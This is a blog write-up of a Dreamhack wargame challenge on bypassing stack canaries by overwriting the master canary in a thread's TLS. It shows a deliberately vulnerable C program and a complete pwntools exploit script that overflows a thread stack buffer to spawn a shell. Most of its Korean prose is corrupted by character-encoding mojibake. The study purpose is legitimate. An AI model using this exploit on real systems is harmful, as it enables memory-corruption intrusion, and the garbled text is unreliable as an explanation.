Master Canary
๋ง์คํฐ ์นด๋๋ฆฌ๋ฅผ ์คํ ๋ฒํผ์ ํ์ธํ๋ ๋ฒ!
12345678910111213141516171819202122232425262728293031323334353637 // Name: mc_thread.c// Compile: gcc -o mc_thread mc_thread.c -pthread -no-pie#include <pthread.h>#include <stdio.h>#include <stdlib.h>#include <unistd.h>void giveshell() { execve("/bin/sh", 0, 0); }void init() {setvbuf(stdin, 0, 2, 0);setvbuf(stdout, 0, 2, 0);}void thread_routine() {char buf[256];int size = 0;printf("Size: ");scanf("%d", &size);printf("Data: ");read(0, buf, size);}int main() {pthread_t thread_t;init();if (pthread_create(&thread_t, NULL, (void *)thread_routine, NULL) < 0) {perror("thread create error:");exit(0);}pthread_join(thread_t, 0);return 0;}cs
๋ง์คํฐ ์นด๋๋ฆฌ๋ ๋ก๋์์ ํ ๋นํ TLS ์์ญ์ ์กด์ฌํ๊ณ , ํด๋น ํ์ด์ง๋ RW-๋ก ์กด์ฌํฉ๋๋ค.
ํด๋น ์์ญ์ ์ดํดํ๊ธฐ ์ํด์๋ ์๋ ๋งํฌ์ ๋ํ์ฌ ์์ธํ ์ ํ์๊ฐ ์์ต๋๋ค.
๋ง์คํฐ ์นด๋๋ฆฌ๋ main ํจ์๊ฐ ํธ์ถ์ ์ ๋๋ค์ ์นด๋๋ฆฌ๋ฅผ ์ฐ๋ ๋๋ง๋ค ์ ์ญ ๋ณ์๋ก ์ฌ์ฉ๋๋
TLS์ ์ ์ฅ ์ด๋ ๋ชจ๋ ์ฐ๋ ๋๊ฐ ํ๋์ ์นด๋๋ฆฌ ๊ฐ์ ์ฌ์ฉํ๊ธฐ ์ํด์์ด๋ค.
์ผ๋ฐ์ ์ผ๋ก ๋ง์คํฐ ์นด๋๋ฆฌ๋ ์คํ์ ์กด์ฌX๋ก BOF๊ฐ ๋ฐ์ํด๋ Exploit์ด ๋ถ๊ฐ๋ฅํ์ง๋ง..
์ฐ๋ ๋ ์คํ์ ๊ฒฝ์ฐ๋ ์์ธ์ ์ผ๋ก ์ฐ๋ ๋ ์คํ์ ๋ง์คํฐ ์นด๋๋ฆฌ๊ฐ ๋ค์ด๊ฐ๋ค.
๐์ฌ๊ธฐ์ ์ ๊น!
์ฐ๋ ๋์ ์ ํํ ์๋ฏธ์ ์ฐ๋ ๋๊ฐ ์ ์คํ์ ์์นํ๋๊ฐ?
๋จผ์ ์ฐ๋ ๋์ ํ๋ก์ธ์ค์ ๊ตฌ๋ถ์ ๋ํ์ฌ ์์์ผํฉ๋๋ค.
- ํ๋ก์ธ์ค
: OS๋ก๋ถํฐ ์์์ ํ ๋น๋ฐ๋ ์์ ์ ๋จ์
- ํ๋ก์ธ์, ํ์ํ ์ฃผ์ ๊ณต๊ฐ, ๋ฉ๋ชจ๋ฆฌ ๋ฑ์ ํ ๋น๋ฐ์ - ์ฐ๋ ๋
: ํ ๋น๋ฐ์ ์์์ ์ด์ฉํ๋ ์คํ์ ๋จ์
- ํ ํ๋ก์ธ์ค ๋ด์ ๋์ํ๋ ์ฌ๋ฌ ์คํ์ ํ๋ฆ
- ์ฃผ์ ๊ณต๊ฐ์ด๋ ์์๋ค์ ๊ฐ์ ํ๋ก์ธ์ค ๋ด์ ์ฐ๋ ๋๋ผ๋ฆฌ ๊ณต์ ํ๋ฉฐ ์คํํจ
๋ ์์ธํ๋ ์๋ ๋งํฌ๋ฅผ ํตํด ์ดํด๋ณด์๊ธธ ๋ถํ๋๋ฆฝ๋๋ค.
์ ๊ฐ ์ ๊ณ ์ถ์์ง๋ง.. ์ฌ์ํ ๋ถ๋ถ์ ์๊ฐ์ ๋ ๋ฆฌ๊ธฐ ์ซ๊ธฐ์.. ใ
๋
๋ฆฝ์ ์ธ ๊ณต๊ฐ์ผ๋ก ๋ค๋ฅธ ํ๋ก์ธ์ค์ ๋ฉ๋ชจ๋ฆฌ ๊ณต๊ฐ์ ์ ๊ทผํ ์ ์๋ค(๋ณด์๋ฌธ์ ๋ก)
ํ์ ์ฐ๋ฆฌ๋ stack๊ณผ heap์ ์ฌ์ด์ ์์ญ์ ์ฐ๋ ๋ stack์ ๋ถ๋ถ์ ๊ณต๋ตํ๋ ์ค์
๋๋ค.
๊ธด ๋ง๋ณด๋ค๋ ์ ์ด๋ฏธ์ง๋ฅผ ๋ณด์๋ฉด Process์์๋ ๋ค์์ Thread๊ฐ ์กด์ฌํฉ๋๋ค.
์ฐ๋ ๋๋ ํ๋ก์ธ์ค ๋ด์์ ๊ฐ Stack๋ง ๋ฐ๋ก ํ ๋น๋ฐ๊ณ Code, Data, Heap ์์ญ์ ๊ณต์ ํฉ๋๋ค.
๋ฐ๋ฉด ํ๋ก์ธ์ค๋ ๋ค๋ฅธ ํ๋ก์ธ์ค์ ๋ฉ๋ชจ๋ฆฌ์ ์ ๊ทผํ ์ ์์ต๋๋ค.
์ ์ค๋ช
์ ํ์ธํด๋ณด์๋ฉด ํ๋ก์ธ์ค ๊ฐ์ ๋ฉ๋ชจ๋ฆฌ ์ ๊ทผ์ด ๋ถ๊ฐ๋ฅํ๋ฉฐ,
๋ง์คํฐ ์นด๋๋ฆฌ๋ ๊ทธ๋ฌ๊ธฐ์ TLS์ ์ ์ญ ๋ณ์๋ก์จ ๋ค์ด๊ฐ๊ฒ ๋ฉ๋๋ค.
๊ทธ๋ฌ๊ธฐ์ ๋ง์คํฐ ์นด๋๋ฆฌ๋ ์ ์ญ ๋ณ์๋ก์จ ์ ๋ฌ๋์ด ์คํ์ ์ง์ ๋๊ธฐ์ ์์ ์ค๋ช
์ด ์งํ๋ฉ๋๋ค.
์ฐ๋ ๋๋ก ์์ฑํ ํ๋ก์ธ์ค์์ ์นด๋๋ฆฌ๋ฅผ ๊ฒ์ ํ ๋ '๋ง์คํฐ ์นด๋๋ฆฌ๋ผ๋ ๊ฐ๊ณผ ๋น๊ตํ๋ค๋ ์ ..
์ด ์ด์ผ๊ธฐ์ ํต์ฌ์ ์ฐ๋ ๋๋ฅผ ์ฐ๋ ํ๊ฒฝ์์๋ง ์คํ์ ์กด์ฌํ๋ ๋ง์คํฐ ์นด๋๋ฆฌ๋ฅผ
๋ฎ์ด์ ์นด๋๋ฆฌ๋ฅผ ์ฐํ ๋ฐ ๋ณ์กฐํ๋ค๋ ์ ์ด ํต์ฌ์
๋๋ค.
giveshell ํจ์์ ์กด์ฌ์ thread_routine ํจ์์์์ BOF์ ๊ฐ๋ฅ์ฑ์ด ์กด์ฌํฉ๋๋ค.
๊ทธ๋ฌ๊ธฐ์ NX(giveshell)๊ณผ Partial RELRO&Canary(Master Canary exploit)์ผ๋ก ์ฐํ๊ฐ ๊ฐ๋ฅํฉ๋๋ค.
pthread_create๋ก ์ฐ๋ ๋๋ฅผ ์์ฑ์ ๋ง์คํฐ ์นด๋๋ฆฌ์ธ tcbhead_t ๊ตฌ์กฐ์ฒด์
stack_guard(master canary)๋ฅผ ๋ณต์ฌํ์ฌ ์ฌ์ฉํ๊ธฐ ๋์ ์ด๊ฒ์ ๋ฎ์ด์จ ๋ง์คํฐ ์นด๋๋ฆฌ๋ฅผ ์กฐ์ํ ์ ์์ต๋๋ค
์ฐ๋ ๋๋ก ์์ฑํ ํ๋ก์ธ์ค์์ ์นด๋๋ฆฌ๋ฅผ ๊ฒ์ฆํ ๋
๋ง์คํฐ ์นด๋๋ฆฌ ๊ฐ๊ณผ ๋น๊ตํ์ฌ ๋ฆญ์ ํ์ง ์์๋ ์นด๋๋ฆฌ ๊ฐ๊ณผ ๋ง์คํฐ ์นด๋๋ฆฌ ๊ฐ์ ๊ฐ๊ฒ ์กฐ์์ด ๊ฐ๋ฅ!
dummy + canary + sfp + giveshell + dummy(buf-master canary) + master canary
์์ ๊ฐ์ ์์ผ๋ก ์ ๋ ฌํด์ผํฉ๋๋ค.
๊ทธ๋ผ ์ฐ๋ฆฌ๋ ret์ master canary์ ์ฌ์ด์ ๊ฑฐ๋ฆฌ๋ฅผ ๊ตฌํด๋ด
์๋ค.
์ฐธ๊ณ ๋ก ๊ณต๋ถํ๋ฉด์ ๋๋๊ฑด๋ฐ ์ฐธ๊ณ ๋ก ์นด๋๋ฆฌ๋ ์ง์ญ๋ณ์ ๋ฐฐ์ด๊ณผ ๊ฐ์ด ์ฌ์ฉ๋์ง ์๋ ๊ฒฝ์ฐ์๋
์ด๋์ ๋์ ์งง์ check์ ๊ฐ์ ์์๋ ๋ณ์๋ฅผ ์ฌ์ฉ์์๋ ์ฌ์ฉ๋์ง ์์ต๋๋ค.
๊ทธ๋ผ ๋ง์ ์๋ก์ offset์ ์์๋ด
์๋ค.
๋ฒํผ์ ์ฃผ์๋ฅผ ์์๋ด๊ธฐ ์ํด thread_routine ํจ์์ ํ๋ณด๋ฅผ ๊ฑธ๊ณ ,
readํจ์์ bof๊ฐ ๋ฐ์๋๋๊น ๊ทธ ๋ถ๋ถ์ ์ ์ฅํ๋ rbp-0x110์ ์์น์์ ํ์ธํด๋ด
์๋ค.
๊ทธ๋ผ ์ด์ ๋ง์คํฐ ์นด๋๋ฆฌ์ ๊ฑฐ๋ฆฌ๋ ๊ตฌํ๊ณ ๊ณ์ฐํ๋ฉด ๋๋๊ฒ ๊ตฐ์
์ด์ ์ ์นด๋๋ฆฌ ๊ตฌํ๋ ๋ฒ์ฒ๋ผ ๊ตฌํ ํ fs+0x28์ ๊ณ์ฐ์ฒ๋ผ ์ ๊ทผํ์ฌ ํ๋ ๋ฐฉ์๋ ์์ผ๋,
์ฌ๊ธฐ์ gdb์ $fs_base๋ฅผ ํตํด fs ์ธ๊ทธ๋จผํธ ๋ ์ง์คํฐ์ ์ ์ฅ๋ ์ฃผ์๋ฅผ ๋ถ๋ฌ์ต๋๋ค.
๊ทธ๋ฆฌ๊ณ ํด๋น ์ฃผ์์ 0x28๋ฅผ ๋ํ ๊ฐ์ ํตํด ๊ณ์ฐํ ์ ์์ต๋๋ค.
๊ทธ๋ฌ๋ฉด ํด๋น ๊ฑฐ๋ฆฌ๊ฐ 0x928๋ก ํ์ธํ ์ ์์ต๋๋ค.
dummy + canary + sfp + giveshell + dummy(buf-master canary) + master canary
ํด๋น ์์ ์ด์ฉํ์ฌ ๋ฐ๋ก exploit์ฝ๋๋ฅผ ์์ฑํด๋ด ์๋ค.
1234567891011121314151617181920212223242526272829303132333435363738394041424344 from pwn import *import sysdef main():FILENAME = './mc_thread'HOST = 'host3.dreamhack.games'if(args['REMOTE']):p = remote(HOST, sys.argv[1])else:p = process(FILENAME)'''default Setting'''e = ELF(FILENAME, checksec=False)context(arch='amd64', os='linux', endian='little')context.log_level = 'debug'#context.cyclic_alphabet = 'ABC'giveshell = e.symbols['giveshell']'''payload script(buf-canary-sfp-ret)'''#payload = b'A'*0x114payload = b'A'* 264payload += b'A'*0x8 #canarypayload += b'B'*0x8 #sfppayload += p64(giveshell) #ret#payload += cyclic(0x928-len(payload))#payload += b'A'*(0x928-len(payload))payload += b'A'*(0x948-len(payload))#payload += b'AAAAAAAA' #master canarypayload += p64(0x4141414141414141)inp_sz = len(payload)p.sendlineafter('Size: ', str(inp_sz))p.sendlineafter('Data: ', payload)p.interactive()if __name__=="__main__":main()cs
์ด ๋ถ๋ถ์ด ํต์ฌ์ผ๋ก ๋๋จธ์ง ์์ ์ฝ๋๋ ์ทจํฅ์ฐจ์ด์ด๋ฏ๋ก ๋์ด๊ฐ๋๋ก ํฉ์๋ค.
์์ canary leak์ ํ ๋์ฒ๋ผ rbp-0x108(264)๊ฐ ์ด ๋ฒํผ์ ํฌ๊ธฐ์ด๋ฉฐ,
๋๋จธ์ง๋ ์์ ์ค๋ช
์์์ฒ๋ผ ํ๋ฉด.. ์ง๋! ๋์ด ๋๊ฒ๋ฉ๋๋ค.
์ฐธ๊ณ ๋ก ์ ํ๊ฒฝ์ linux Ubuntu 18.04๋ฒ์ ์ผ๋ก ํด์ผ์ง ๋๋๋ผ๊ณ ์
๊ทธ ๊ณผ์ ์.. ์์ ๊ฐ๊ธฐ์ ๋์ด๊ฐ๋๋ก ํฉ์๋ค.(๋ค์ ๋๋จธ์ง๋ ๊ทธ๋ฐ๋ฐ.. ใ
๋์ค์ ์ถ๊ฐ์ ์ผ๋ก ๊ณ ์น๊ฒ ์ต๋๋ค.)
์ผ์ ์ ์น์ฌ์ ์ด์ํ๊ณณ์ ์ฝ์ง์ ๋ง์ด ํด์ ใ
์ฐธ๊ณ ์๋ฃ
์ฐธ๊ณ ์ด๋ฏธ์ง
'๐โSystem_Study > ๐โDreamhack_Hacking' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
Background: SigReturn-Oriented Programming (0) | 2022.11.13 |
---|---|
Master Canary (0) | 2022.11.13 |
Background: Master Canary (0) | 2022.11.10 |
seccomp (0) | 2022.11.06 |
Bypass SECCOMP-1 (0) | 2022.11.06 |